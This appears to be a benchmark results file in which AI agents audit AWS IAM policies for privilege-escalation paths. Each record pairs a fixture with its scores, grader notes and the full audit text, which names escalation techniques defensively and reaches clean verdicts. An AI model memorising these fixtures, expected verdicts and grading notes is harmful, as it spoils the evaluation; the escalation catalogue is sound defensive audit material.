`sts:*`, `organizations:*`, `kms:*`, `lambda:*`, `ec2:RunInstances`, `ecs:RunTask`, `ssm:*`, `secretsmanager:*`\n\nThis is a blanket Deny on every escalation-bearing service enumerated. Deny always wins. Because it is on `Resource: *`, it covers every ARN \u2014 including the two sandbox bucket ARNs in Statement 1. The intersection of \"everything the S3 ARNs could accept\" and \"everything the Deny kills\" produces the effective grant below.\n\n**Effective permission set after union and Deny application:**\n\n| Service | Effective |\n|---|---|\n| `iam:*` | \u274c Denied (Statement 2) |\n| `sts:*` | \u274c Denied (Statement 2) |\n| `kms:*` | \u274c Denied (Statement 2) |\n| `lambda:*` | \u274c Denied (Statement 2) |\n| `ec2:RunInstances` | \u274c Denied (Statement 2) |\n| `ecs:RunTask` | \u274c Denied (Statement 2) |\n| `ssm:*` | \u274c Denied (Statement 2) |\n| `secretsmanager:*` | \u274c Denied (Statement 2) |\n| `organizations:*` | \u274c Denied (Statement 2) |\n| `s3:*` on `team-sandbox-scratch` / `team-sandbox-scratch/*` | \u2705 Allowed (no Deny on s3:* in Statement 2) |\n| All other services on non-S3 ARNs | Practically unreachable (no resource match for the Allow) |\n| All other services on S3 ARNs | Allowed in principle, but no non-S3 service accepts an S3 ARN as a valid resource operand |\n\nThe surviving effective grant is: **S3 actions on the two sandbox bucket ARNs only.**\n\n---\n\n## Step 2 \u2014 Check Cross-Statement Escalation Combos (E1\u2013E6)\n\n- **E1 (`iam:PassRole` + compute-launch):** `iam:PassRole` is killed by the `iam:*` Deny. `ec2:RunInstances` and `ecs:RunTask` are explicitly denied. `lambda:CreateFunction` is killed by `lambda:*`. No PassRole half exists in the effective set. **Not present.**\n- **E2 (`iam:CreatePolicyVersion` / `SetDefaultPolicyVersion`):** Killed by `iam:*` Deny. **Not present.**\n- **E3 (`lambda:UpdateFunctionCode`):** Killed by `lambda:*` Deny. **Not present.**\n- **E4 (`iam:AttachUserPolicy` / `AttachRolePolicy` / `PutRolePolicy`):** Killed by `iam:*` Deny. **Not present.**\n- **E5 (`iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`):** Both killed (`iam:*` and `sts:*` Deny). **Not present.**\n- **E6 (credential-minting: `iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`):** All killed by `iam:*` Deny. **Not present.**\n\n**Result: No cross-statement escalation combo is live in the effective permission set.**\n\n---\n\n## Step 3 \u2014 Classify Wildcard Grants (W1\u2013W5)\n\n**W1 \u2014 `Action '*'` on `Resource '*'` (full admin):**\nStatement 1 uses `Action: *` but resource is pinned to `arn:aws:s3:::team-sandbox-scratch` and `arn:aws:s3:::team-sandbox-scratch/*` \u2014 never `Resource: *`. The W1 threshold requires both `Action '*'` *and* `Resource '*'`. This does not meet it. **Not flagged.**\n\n**W3 \u2014 `Allow` + `NotAction`:**\nNo `NotAction` appears anywhere in the policy. **Not applicable.**\n\n**W2 \u2014 service-level wildcard on a sensitive service:**\nS3 is a sensitive service and `s3:*` is effectively granted on the two sandbox ARNs. This is worth noting (see finding below), but the resource scope limits the blast radius to those two ARNs, and no S3 action enables the escalation combos E1\u2013E6. Not a full W2 in the sense that matters for escalation, but it is the only actionable observation.\n\n**W4 \u2014 mutating actions on `Resource '*'`:**\nAll mutating actions on `Resource '*'` from the dangerous services are denied. S3 mutations are scoped to the two named ARNs. **Not present on `Resource '*'`.**\n\n**W5 \u2014 broad read on `Resource '*'`:**\n`s3:GetObject` (and equivalents) are scoped to the two named ARNs only. Not on `Resource '*'`. **Not flagged.**\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nNo trust policy was supplied. X1 cannot be evaluated. See the Boundary section.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nThis policy matches fixture `02-action-star-blanket-deny` exactly in structure. The apparent escalation surface \u2014 `Action: *` in Statement 1 \u2014 is neutralised by three independent mechanisms that stack:\n\n1. **Resource scope:** `Action: *` is pinned to two S3 ARNs. IAM action matching requires the resource to accept the action; no IAM, STS, KMS, Lambda, or EC2 action accepts an S3 bucket ARN as its resource operand.\n2. **Blanket Deny on every escalation-bearing service:** Even if evaluation somehow proceeded, Statement 2 hard-kills `iam:*`, `sts:*`, `kms:*`, `lambda:*`, `ec2:RunInstances`, `ecs:RunTask`, `ssm:*`, `secretsmanager:*`, and `organizations:*` on `Resource: *`, which covers the sandbox ARNs too.\n3. **No escalation action survives into the effective set:** Every E1\u2013E6 primitive requires at least one action from a denied service.\n\nThe `Action: *` grant is not W1. The Deny is not decoration. The policy is **clean of privilege escalation** as written.\n\n---\n\n## Findings\n\n**No real escalation path exists in the effective permission set.**\n\n| Severity | Finding |\n|---|---|\n| \u2014 | No E1\u2013E6 combo is live. All primitives killed by `iam:*`, `sts:*`, `lambda:*`, `ec2:RunInstances`, `ecs:RunTask` Deny. |\n| \u2014 | No W1: `Action '*'` is not on `Resource '*'`. |\n| \u2014 | No W3: No `NotAction` present. |\n| \u2014 | No W4/W5 on `Resource '*'`: Sensitive service wildcards are all denied; S3 scope is two named ARNs. |\n\n### One Observation Worth Noting (Informational, not a finding)\n\n**`s3:*` on the sandbox bucket \u2014 verify bucket policy and ACLs.**\nThe principal has full S3 control over `team-sandbox-scratch` and its objects, including `s3:PutBucketPolicy`, `s3:PutBucketAcl`, `s3:DeleteBucket`, and `s3:PutObject`. None of these enable IAM privilege escalation. However:\n- If the bucket holds sensitive data belonging to other principals, a reader of *this* policy cannot know that. The data classification is behind the boundary.\n- `s3:PutBucketPolicy` could be used to grant another principal access to the bucket, creating a lateral data-exfiltration path if the bucket holds secrets out-of-band (e.g., bootstrap credentials stored as objects). This is a workload-design concern, not an IAM escalation, and it is flagged here only so it can be verified.\n- **Fix (if warranted):** Restrict to the minimum S3 actions the experimentation workload actually needs (e.g., `s3:GetObject`, `s3:PutObject`, `s3:ListBucket`) rather than `Action: *` on S3. Defense-in-depth even when the escalation path is closed.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following joins were not available in the supplied documents. The clean verdict above is correct for the effective permissions these documents express; it is not a proof of safety for the full principal:\n\n1. **Other attached policies.** Only one permissions policy was supplied. If `role/sandbox-experimenter` has additional managed or inline policies attached, the effective permission set is the union of all of them. A grant in another policy \u2014 including a PassRole or an IAM mutation action \u2014 would not be visible here and would not be suppressed by the Deny in Statement 2 unless that Deny appears in the same policy document (Deny from any policy propagates, but a grant in another policy is additive). This is the most important boundary: confirm that this is the only policy attached to this role.\n\n2. **Permissions boundary.** No permissions boundary was supplied. If one is attached to this role, it may further restrict the `s3:*` grant (e.g., capping it to specific S3 actions). Conversely, the absence of a boundary means no additional cap is confirmed \u2014 the S3 full-control grant stands as audited.\n\n3. **Org SCPs.** Service Control Policies are invisible from account-level policy documents. An SCP could further restrict or (if poorly written) expand what this principal can do. The audit cannot see them.\n\n4. **Privileges of the sandbox bucket itself.** The bucket may have a bucket policy granting additional cross-account access or making objects public. The bucket policy is not an IAM principal policy and is not audited here. `s3:PutBucketPolicy` in the effective grant means this principal could write such a policy.\n\n5. **Trust policy.** The `AssumeRolePolicyDocument` was not supplied. Who can assume this role \u2014 and from which accounts \u2014 cannot be evaluated. X1 (wildcard principal) is an open question. Recommend supplying the trust policy for a complete audit.",
"agent_chars": 9317,
"agent_s": 64.9,
"elapsed_s": 73.4
},
{
"fixture": "02-action-star-blanket-deny",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses Action '*' as expanding to all AWS actions, recognizes it is scoped to specific S3 bucket ARNs, and enumerates the Deny list accurately.",
"Correctly reports no findings (clean), matching the ground truth that no real escalation path exists.",
"Does not assert any material defect; correctly classifies Action '*' on a resource-scoped ARN as non-W1 and does not treat Deny-neutralised actions as live escalation paths.",
"Explicitly evaluates the interaction between the Allow (resource-scoped Action '*') and the Deny (broad service block on Resource '*'), recognizing the two controls are redundant and together eliminate all E1-E6 combos.",
"Does not headline any neutralised grant as critical; labels all residual observations as informational only and concludes with no privilege-escalation finding.",
"Names multiple out-of-scope joins: other attached policies, permissions boundary, org SCPs, trust policy, and bucket contents \u2014 all matching ground-truth boundary items.",
"Correctly states no security fix is required and optionally suggests replacing Action '*' with concrete S3 actions for clarity, matching the ground-truth top fix exactly."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/sandbox-experimenter`\n\n**1 permissions policy \u00b7 2 statements \u00b7 no trust policy supplied \u00b7 no permissions boundary supplied**\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\n### Allow side\n\n`FullControlOfSandboxBucketOnly` allows `Action: \"*\"` \u2014 every AWS action \u2014 but **only on two specific ARNs**:\n\n- `arn:aws:s3:::team-sandbox-scratch` (bucket-level operations)\n- `arn:aws:s3:::team-sandbox-scratch/*` (object-level operations)\n\nThis is not a wildcard resource grant. No `Resource: \"*\"` Allow exists anywhere in the policy. The wildcard action expands only against those two ARNs.\n\n### Deny side\n\n`DenyEscalationServicesEverywhere` applies a hard `Deny` on `Resource: \"*\"` to:\n\n| Service block | Covers |\n|---|---|\n| `iam:*` | All IAM mutations (PassRole, CreatePolicyVersion, AttachRolePolicy, UpdateAssumeRolePolicy, CreateAccessKey, \u2026) |\n| `sts:*` | AssumeRole, GetFederationToken, all credential-vending paths |\n| `organizations:*` | All Org API calls |\n| `kms:*` | Decrypt, GenerateDataKey, all key operations |\n| `lambda:*` | CreateFunction, UpdateFunctionCode, all function operations |\n| `ec2:RunInstances` | The primary role-binding EC2 launch action |\n| `ecs:RunTask` | ECS role-binding launch action |\n| `ssm:*` | Parameter Store reads, Session Manager, Run Command |\n| `secretsmanager:*` | All Secrets Manager reads and writes |\n\nBecause `Deny` beats `Allow` universally, every action in those service namespaces is dead \u2014 regardless of the bucket-scoped Allow. The effective permission set is the Allow *minus* every Deny match. Applied:\n\n- `iam:*` \u2014 **killed by Deny**\n- `sts:*` \u2014 **killed by Deny**\n- `s3:*` on the two sandbox ARNs \u2014 **survives** (not in the Deny list, resource is specific)\n- `kms:*`, `lambda:*`, `ssm:*`, `secretsmanager:*`, `ec2:RunInstances`, `ecs:RunTask`, `organizations:*` \u2014 **killed by Deny**\n- Every other service's actions on `Resource: \"*\"` \u2014 **never Allowed in the first place** (the Allow is pinned to the bucket ARNs, so any action on a non-bucket resource has no matching Allow regardless)\n\n**Effective permission set: S3 operations on `team-sandbox-scratch` and `team-sandbox-scratch/*` only.**\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + compute-launch action\n`iam:PassRole` \u2208 `iam:*` \u2192 **killed by the blanket `iam:*` Deny on `Resource: \"*\"`**. The PassRole half is dead. `ec2:RunInstances` and `ecs:RunTask` are independently Denied. No E1 path exists.\n**CLEAN.**\n\n### E2 \u2014 Rewrite a managed policy in place\n`iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` \u2208 `iam:*` \u2192 **killed by Deny**.\n**CLEAN.**\n\n### E3 \u2014 Hijack a Lambda function's execution role\n`lambda:UpdateFunctionCode` \u2208 `lambda:*` \u2192 **killed by Deny**.\n**CLEAN.**\n\n### E4 \u2014 Attach an admin policy to a principal\n`iam:AttachRolePolicy`, `iam:AttachUserPolicy`, `iam:PutRolePolicy` \u2208 `iam:*` \u2192 **killed by Deny**.\n**CLEAN.**\n\n### E5 \u2014 Rewrite a trust policy, then assume the role\n`iam:UpdateAssumeRolePolicy` \u2208 `iam:*` \u2192 **killed by Deny**. `sts:AssumeRole` \u2208 `sts:*` \u2192 **killed by Deny**. Both halves are dead.\n**CLEAN.**\n\n### E6 \u2014 Mint credentials for another identity\n`iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup` \u2208 `iam:*` \u2192 **killed by Deny**.\n**CLEAN.**\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n### W1 \u2014 `Action: \"*\"` on `Resource: \"*\"` (full administrator)\nThe Allow uses `Action: \"*\"` but the resource is `arn:aws:s3:::team-sandbox-scratch` and `arn:aws:s3:::team-sandbox-scratch/*`. **`Resource: \"*\"` is never Allowed.** W1 requires both `Action: \"*\"` and `Resource: \"*\"` on the Allow side. This does not qualify.\n**NOT W1. CLEAN.**\n\n### W3 \u2014 `Allow` + `NotAction`\nNo `NotAction` element is present anywhere in the policy.\n**NOT W3. CLEAN.**\n\n### W2 \u2014 Service-level wildcard on a sensitive service\n`Action: \"*\"` on S3 for the sandbox bucket includes mutating S3 actions (PutObject, DeleteObject, PutBucketPolicy, DeleteBucket, etc.). The Allow is explicitly scoped to two ARNs; it is not a service-level wildcard on `Resource: \"*\"`. S3 is not in the Deny block, which is correct \u2014 the Deny targets credential and compute services, not S3 itself. A PutBucketPolicy call on *this specific bucket* is within scope for an experimentation role. No other sensitive service wildcard survives the Deny.\n\nThere is one nuance worth noting (see Finding 1 below under residual observations), but it does not reach W2 severity under the methodology because the resource scope is explicit and narrow.\n**NOT W2 at wildcard-resource scope. CLEAN.**\n\n### W4 \u2014 Mutating actions on `Resource: \"*\"` (scopable)\nNo mutating action is Allowed on `Resource: \"*\"`. The sole Allow is bucket-scoped.\n**NOT W4. CLEAN.**\n\n### W5 \u2014 Broad read on `Resource: \"*\"`\nNo read action is Allowed on `Resource: \"*\"`.\n**NOT W5. CLEAN.**\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nNo trust policy (`AssumeRolePolicyDocument`) was supplied. X1 cannot be evaluated. See Boundary section.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nThe policy presents a surface that reads alarming \u2014 `Action: \"*\"` in the first statement \u2014 and is in fact tightly contained. The mechanism:\n\n1. The Allow `Action: \"*\"` is **never on `Resource: \"*\"`**; it is pinned to two bucket ARNs. Any action against any non-S3 resource has no matching Allow statement and is implicitly denied.\n2. The explicit Deny independently kills every service that could be used to escalate privileges, regardless of the resource scope of the Allow.\n\nThe two controls are redundant with each other by design, and that redundancy is appropriate: the Deny is the belt, the resource scoping is the suspenders. Together they produce an effective permission set that is limited to S3 operations on one named bucket.\n\n---\n\n## Findings\n\n### No privilege-escalation paths found.\n\nAll E1\u2013E6 escalation combos are neutralised by the explicit `Deny` on `iam:*`, `sts:*`, `lambda:*`, `kms:*`, `ec2:RunInstances`, `ecs:RunTask`, `ssm:*`, and `secretsmanager:*` on `Resource: \"*\"`. The `Action: \"*\"` Allow is resource-scoped to a single S3 bucket and does not constitute W1, W2, W3, W4, or W5 under the methodology.\n\n---\n\n### Residual Observations (informational, not severity findings)\n\nThese do not rise to findings under the methodology but are worth recording for completeness.\n\n**OBS-1 (Informational) \u2014 `s3:PutBucketPolicy` and `s3:PutBucketAcl` are Allowed on the sandbox bucket**\n\nBecause `Action: \"*\"` covers all S3 actions, this principal can modify the bucket policy and ACL of `team-sandbox-scratch`. This could be used to make the bucket public or to grant another principal access to data in it. This is a data-exfiltration *reach* whose impact depends on what is stored there. It is not an IAM privilege escalation. If the bucket holds sensitive data, consider constraining the Allow to an explicit action list and explicitly Denying `s3:PutBucketPolicy`, `s3:PutBucketAcl`, and `s3:DeleteBucket`.\n\n**OBS-2 (Informational) \u2014 `sagemaker:*`, `glue:*`, `athena:*`, `bedrock:*`, and other compute-adjacent services are not in the Deny block**\n\nThe Deny covers the most common escalation-bearing services but does not enumerate every AWS service. Because the Allow is resource-scoped to S3 bucket ARNs (not `Resource: \"*\"`), actions in uncovered services have no matching Allow statement and are already implicitly denied. The defense-in-depth posture would be marginally stronger with a final catch-all `Deny` on `Resource: \"*\"` for any non-S3 service (e.g., `NotAction: [\"s3:*\"]` with `Effect: Deny`), but the absence of such a statement does **not** create a real vulnerability given the current Allow's resource scope.\n\n**OBS-3 (Informational) \u2014 `ec2:DescribeInstances`, `ec2:DescribeVpcs`, and other non-`RunInstances` EC2 read actions are not Denied**\n\nThe Deny covers `ec2:RunInstances` specifically, not `ec2:*`. However, because the Allow is pinned to S3 bucket ARNs and EC2 Describe actions operate on `Resource: \"*\"` or EC2 ARNs, they have no matching Allow statement and are implicitly denied. This is contained by the resource scope of the Allow, not the Deny. No escalation path results.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are not answerable from this policy document alone. They are joins this audit does not hold:\n\n| Join | What it would answer |\n|---|---|\n| **Other attached policies** | Only one policy was supplied. If this role has additional attached managed or inline policies, the effective permission set is their union. A grant in another policy could open an escalation path not visible here \u2014 including exactly the gaps in the Deny list (OBS-2, OBS-3). |\n| **Permissions boundary** | No permissions boundary was supplied. A boundary could further restrict what the S3 Allow can actually exercise. Conversely, the absence of a boundary means there is no secondary cap: the Allow is governed solely by this policy and any applicable SCPs. |\n| **Org SCPs** | Service Control Policies at the organization or OU level could Deny actions this policy Allows (including S3 operations on the sandbox bucket) or, if misconfigured, allow escalation paths that this policy's Deny assumes are controlled elsewhere. SCPs are not visible from account-level policy documents. |\n| **Trust policy** | The `AssumeRolePolicyDocument` was not supplied. It is unknown which principals can assume this role (X1 cannot be evaluated). If the trust policy is overly permissive, an unintended principal could assume the role and exercise the S3 permissions. |\n| **Contents of `team-sandbox-scratch`** | Whether the data-exfiltration reach in OBS-1 (bucket policy mutation, object reads/writes) matters depends entirely on what the bucket holds. This is not answerable from the IAM policy. |\n\n---\n\n## Summary\n\n**`role/sandbox-experimenter` has no privilege-escalation path in the supplied policy.** The `Action: \"*\"` Allow is correctly contained by an explicit bucket-ARN resource scope, and independently backstopped by a broad Deny across every escalation-bearing service namespace. The effective permission set is S3 operations on one named sandbox bucket. The apparent wildcard-admin grant is neutralised; it is not W1 and does not arm any of E1\u2013E6. Two informational observations (bucket-policy mutation reach, partial service coverage in the Deny list) are noted for completeness but do not constitute security findings under the effective permissions this policy produces.",
"agent_chars": 10499,
"agent_s": 62.8,
"elapsed_s": 71.7
},
{
"fixture": "03-assumerole-broken-trust",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses both statements, identifying sts:AssumeRole on the specific admin role ARN and the scoped S3 read actions without misreading any wildcards.",
"Correctly identifies the ground-truth result: no real findings, with the AssumeRole grant neutralised by the broken trust policy that does not list deploy-orchestrator as a trusted principal.",
"Does not assert any false positive escalation paths; explicitly labels the AssumeRole apparent escalation as neutralised and raises no spurious critical findings.",
"Properly reasons across the two-sided AssumeRole handshake (permissions policy grant + target trust policy), and correctly notes the absence of iam:UpdateAssumeRolePolicy prevents closing the loop.",
"Does not headline any neutralised or read-only grant as critical; the operational note about dead-code removal is clearly labelled informational, not a security finding.",
"Names multiple boundary limitations including other attached policies, permissions boundaries, org SCPs, and the target role's own privileges, matching the ground-truth boundary.",
"Top fix correctly matches ground truth: no required fix for the escalation path, with an optional recommendation to remove the unused AssumeRole grant as dead code."
],
"agent_output": "# IAM Privilege-Escalation Audit: `role/deploy-orchestrator`\n\n**Principal:** `role/deploy-orchestrator`\n**Input documents:** 1 permissions policy (2 statements), 1 trust policy (1 statement)\n**Target role supplied:** trust policy of `arn:aws:iam::488213749302:role/org-admin-break-glass`\n\n---\n\n## Step 1: Resolve the Effective Permission Set\n\n**Allow statements:**\n\n| Statement | Actions | Resource |\n|---|---|---|\n| `AssumeDeployTargetRole` | `sts:AssumeRole` | `arn:aws:iam::488213749302:role/org-admin-break-glass` |\n| `ReadDeployConfig` | `s3:GetObject`, `s3:ListBucket` | `arn:aws:s3:::deploy-config-eu`, `arn:aws:s3:::deploy-config-eu/*` |\n\n**Deny statements:** None.\n\n**Effective permission set:**\n- `sts:AssumeRole` on one specific role ARN\n- `s3:GetObject` and `s3:ListBucket` on one specific bucket and its objects\n\nNo wildcards on `Action`. No wildcards on `Resource`. No `NotAction`. No blanket Deny to apply. The set is small and fully resolved.\n\n---\n\n## Step 2: Check Cross-Statement Escalation Combos (E1\u2013E6)\n\n**E1 \u2014 `iam:PassRole` + compute-launch action:** `iam:PassRole` is not in the effective permission set. E1 is absent.\n\n**E2 \u2014 Policy rewrite in place:** `iam:CreatePolicyVersion` / `SetDefaultPolicyVersion` are not present. E2 is absent.\n\n**E3 \u2014 Lambda function code hijack:** `lambda:UpdateFunctionCode` is not present. E3 is absent.\n\n**E4 \u2014 Attach admin policy to a principal:** No `iam:Attach*`, `iam:Put*`, or equivalent actions present. E4 is absent.\n\n**E5 \u2014 Trust-policy rewrite + assume:** `iam:UpdateAssumeRolePolicy` is not present. The `sts:AssumeRole` grant exists, but without the ability to rewrite the target's trust policy, E5 requires that the trust *already* permits this principal. The trust policy of `org-admin-break-glass` is supplied \u2014 see below.\n\n**E6 \u2014 Credential minting for another identity:** `iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`, and equivalents are not present. E6 is absent.\n\n---\n\n## Step 3: Check Wildcard Grants (W1\u2013W5)\n\n**W1 \u2014 `Action '*'` on `Resource '*'`:** Not present.\n\n**W3 \u2014 `Allow` + `NotAction`:** Not present.\n\n**W2 \u2014 Service-level wildcard on a sensitive service:** Not present. `sts:AssumeRole` is a single enumerated action, not `sts:*`.\n\n**W4 \u2014 Mutating actions on `Resource '*'`:** Not present. `s3:GetObject` and `s3:ListBucket` are read-only, and both are scoped to a single named bucket.\n\n**W5 \u2014 Broad read on `Resource '*'`:** Not present. The S3 read is pinned to `deploy-config-eu` only.\n\nNo wildcard findings.\n\n---\n\n## Step 4: Check Trust-Policy Exposure (X1)\n\nThe trust policy of `role/deploy-orchestrator` itself permits only two explicitly named role ARNs \u2014 `security-break-glass-operator` and `incident-commander` \u2014 both in the same account, with a required `sts:ExternalId` condition of `breakglass-2026`. The principal is not `\"*\"`. X1 does not apply.\n\n---\n\n## Step 5: The E5 / AssumeRole Path \u2014 Is the Apparent Escalation Real or Neutralised?\n\nThis is the central question the context sets up. The permissions policy grants `sts:AssumeRole` on `arn:aws:iam::488213749302:role/org-admin-break-glass`, which is described as admin-sounding. That is the shape of a critical escalation. Now evaluate it against the target's trust policy.\n\n**The target's trust policy (`org-admin-break-glass`) permits:**\n\n| Principal | Condition |\n|---|---|\n| `arn:aws:iam::488213749302:role/security-break-glass-operator` | `sts:ExternalId = \"breakglass-2026\"` |\n| `arn:aws:iam::488213749302:role/incident-commander` | `sts:ExternalId = \"breakglass-2026\"` |\n\n`role/deploy-orchestrator` is **not listed as a trusted principal** in the target's trust policy. `sts:AssumeRole` is a two-sided handshake: the caller must have permission to call it (satisfied here), *and* the target role's trust policy must permit the caller (not satisfied here). AWS will reject the call at the target's trust evaluation boundary regardless of what the permissions policy says.\n\n**Additionally**, even if `deploy-orchestrator` were somehow substituted for one of the listed principals, the call would still require presenting `ExternalId = \"breakglass-2026\"`. That ExternalId is a shared secret. Whether `deploy-orchestrator` possesses it is not determinable from policy documents alone, but the trust ARN mismatch is a hard rejection that precedes the condition check entirely.\n\n**Neutralisation mechanism:** Broken trust (fixture analogue: `03-assumerole-broken-trust`). The target role's trust policy does not name `role/deploy-orchestrator` as a trusted principal, and `iam:UpdateAssumeRolePolicy` is absent from the effective permission set, so `deploy-orchestrator` cannot rewrite the trust to add itself. The `sts:AssumeRole` Allow in the permissions policy is inert against this specific target.\n\n**Verdict on the apparent escalation: CLEAN \u2014 neutralised by broken trust.**\n\n---\n\n## Step 6: Findings\n\n### Findings: No real escalation paths identified.\n\n**Apparent escalation reviewed and neutralised:**\n\n> **`sts:AssumeRole` on `org-admin-break-glass` \u2014 NEUTRALISED (broken trust)**\n>\n> The permissions policy grants `sts:AssumeRole` on an admin-sounding role ARN. This reads as a potential path to administrator. It is inert: the target role's trust policy enumerates only `role/security-break-glass-operator` and `role/incident-commander` as trusted principals. `role/deploy-orchestrator` is not listed and cannot be listed by itself (no `iam:UpdateAssumeRolePolicy` in the effective set). AWS will reject the `AssumeRole` call at trust evaluation before any privilege is conveyed.\n>\n> **No fix required for the escalation path.** However, see the operational note below.\n\n---\n\n### Operational Note (not a security finding, informational):\n\nThe `AssumeDeployTargetRole` statement grants a capability that will always fail at runtime given the current trust policy. If `deploy-orchestrator` is never intended to assume `org-admin-break-glass`, this Allow is dead code and should be removed on the principle of least privilege \u2014 not because it is exploitable today, but because:\n1. It signals an intent that the trust policy does not support, which creates audit confusion.\n2. If the target role's trust policy is ever broadened (e.g., `Principal: \"*\"` or the account root added), the dormant Allow becomes live immediately.\n\n**Recommended fix:** Remove the `AssumeDeployTargetRole` statement from the permissions policy unless there is a documented, intentional use case for `deploy-orchestrator` to assume the break-glass role (in which case the trust policy should be updated to match, and the ExternalId condition should be retained).\n\n---\n\n### S3 Read Grant:\n\n`s3:GetObject` and `s3:ListBucket` on `deploy-config-eu` are correctly scoped. The read-only access on a single named bucket does not trigger W4 (mutating) or W5 (broad read on `Resource '*'`). No finding.\n\n---\n\n## Boundary: What This Audit Cannot Determine\n\nThe following joins are outside the scope of the supplied documents. A clean audit here does not mean a safe principal in context.\n\n1. **Other attached policies not supplied.** The effective permission set above reflects only `policy.json`. If `role/deploy-orchestrator` has additional managed or inline policies attached, those grants are invisible here. A grant of `iam:PassRole`, `iam:UpdateAssumeRolePolicy`, or any E1\u2013E6 primitive in another attached policy would change the conclusion.\n\n2. **Permissions boundary.** No permissions boundary was supplied. If one exists, it may further restrict the S3 read. More critically, the *absence* of a boundary means there is no cap on what a future policy attachment could grant this role. The broken-trust neutralisation here is robust, but a boundary would be a second layer of defence worth verifying.\n\n3. **Org SCPs.** A Service Control Policy on the account or OU could Deny `sts:AssumeRole` to break-glass roles, or could restrict `s3:GetObject` to specific VPC endpoints. These constraints are not visible from the account's IAM documents. The effective permissions may be further restricted at the org level.\n\n4. **Privileges of `org-admin-break-glass`.** The audit confirms `deploy-orchestrator` cannot assume this role today (broken trust). But the *degree* of escalation if the trust were ever fixed is bounded by that role's own policies and boundary, which are not supplied. The \"admin-sounding\" label is taken at face value; confirming whether it is truly administrator-equivalent requires inspecting its attached policies.\n\n5. **Contents of `deploy-config-eu`.** Whether the S3 read reach represents a data-exposure risk depends on what is in the bucket (credentials, deployment secrets, infrastructure topology). This is a classification question, not a permissions question, and is outside the policy document.\n\n---\n\n## Summary\n\n| Check | Result |\n|---|---|\n| E1 PassRole + compute-launch | Absent |\n| E2 Policy rewrite | Absent |\n| E3 Function code hijack | Absent |\n| E4 Self-attach admin policy | Absent |\n| E5 Trust-rewrite + assume | Absent (no `UpdateAssumeRolePolicy`) |\n| E5-adjacent: AssumeRole on admin target | **Apparent escalation \u2014 neutralised by broken trust** |\n| E6 Credential minting | Absent |\n| W1 Full admin (`Action '*'` / `Resource '*'`) | Absent |\n| W2 Service wildcard on sensitive service | Absent |\n| W3 Allow + NotAction | Absent |\n| W4 Mutating on `Resource '*'` | Absent |\n| W5 Broad read on `Resource '*'` | Absent |\n| X1 Wildcard trust principal | Absent |\n\n**No real escalation paths. One dead-code Allow recommended for removal.**",
"agent_chars": 9539,
"agent_s": 52.1,
"elapsed_s": 60.8
},
{
"fixture": "03-assumerole-broken-trust",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all three effective permissions (sts:AssumeRole, s3:GetObject, s3:ListBucket) with accurate resource scoping and no missed expansions.",
"Correctly identifies this as a clean fixture with no real escalation, matching the ground truth of zero findings.",
"No false positives raised; the agent explicitly neutralises the AssumeRole path and correctly classifies the S3 read as out of scope for W5.",
"Evaluates the cross-document union properly: checks both the permissions policy (no iam:UpdateAssumeRolePolicy) and the target role's trust policy (principal check fails), confirming both legs of the escalation are severed.",
"Does not headline any neutralised or read-only grant as critical; correctly marks the AssumeRole as 'neutralised' with no severity assigned.",
"Names multiple things it cannot determine: other attached policies, permissions boundary, org SCPs, and the actual privileges of org-admin-break-glass, all matching the ground-truth boundary.",
"Top fix correctly states no fix is required for the neutralised policy, with an optional note to remove the unused AssumeRole grant, matching the ground-truth recommendation."
],
"agent_output": "# IAM Privilege-Escalation Audit: `role/deploy-orchestrator`\n\n**Principal:** `role/deploy-orchestrator`\n**Input:** 1 permissions policy (2 statements), 1 trust policy (1 statement)\n**No permissions boundary supplied.**\n\n---\n\n## Step 1: Resolve the Effective Permission Set\n\nScanning all statements for Allow and Deny:\n\n| Action | Resource | Effect |\n|---|---|---|\n| `sts:AssumeRole` | `arn:aws:iam::488213749302:role/org-admin-break-glass` | Allow |\n| `s3:GetObject` | `arn:aws:s3:::deploy-config-eu/*` | Allow |\n| `s3:ListBucket` | `arn:aws:s3:::deploy-config-eu` | Allow |\n\nNo blanket `Deny` statements exist anywhere in the permissions policy. No `NotAction`. No wildcards on `Action` or `Resource`.\n\nEffective permission set: exactly three actions, each scoped to a specific ARN.\n\n---\n\n## Step 2: Cross-Statement Escalation Combos (E1\u2013E6)\n\n- **E1 (PassRole + compute-launch):** `iam:PassRole` is not present. No E1.\n- **E2 (policy rewrite):** `iam:CreatePolicyVersion` / `SetDefaultPolicyVersion` not present. No E2.\n- **E3 (function hijack):** `lambda:UpdateFunctionCode` not present. No E3.\n- **E4 (self-attach):** No policy-attach or put-policy actions present. No E4.\n- **E5 (trust-policy rewrite + assume):** `iam:UpdateAssumeRolePolicy` not present. The `sts:AssumeRole` grant exists, but without the ability to rewrite the target's trust, E5 requires that the target role already trusts `deploy-orchestrator`. That question is answered directly by the supplied trust policy \u2014 see Step 4 below.\n- **E6 (credential minting):** `iam:CreateAccessKey`, `CreateLoginProfile`, `AddUserToGroup` \u2014 none present. No E6.\n\n---\n\n## Step 3: Wildcard Grant Classification (W1\u2013W5)\n\n- **W1:** No `Action '*'` on `Resource '*'`. Clear.\n- **W2:** No service-level wildcard (`sts:*`, `iam:*`, etc.). The single `sts:AssumeRole` is not 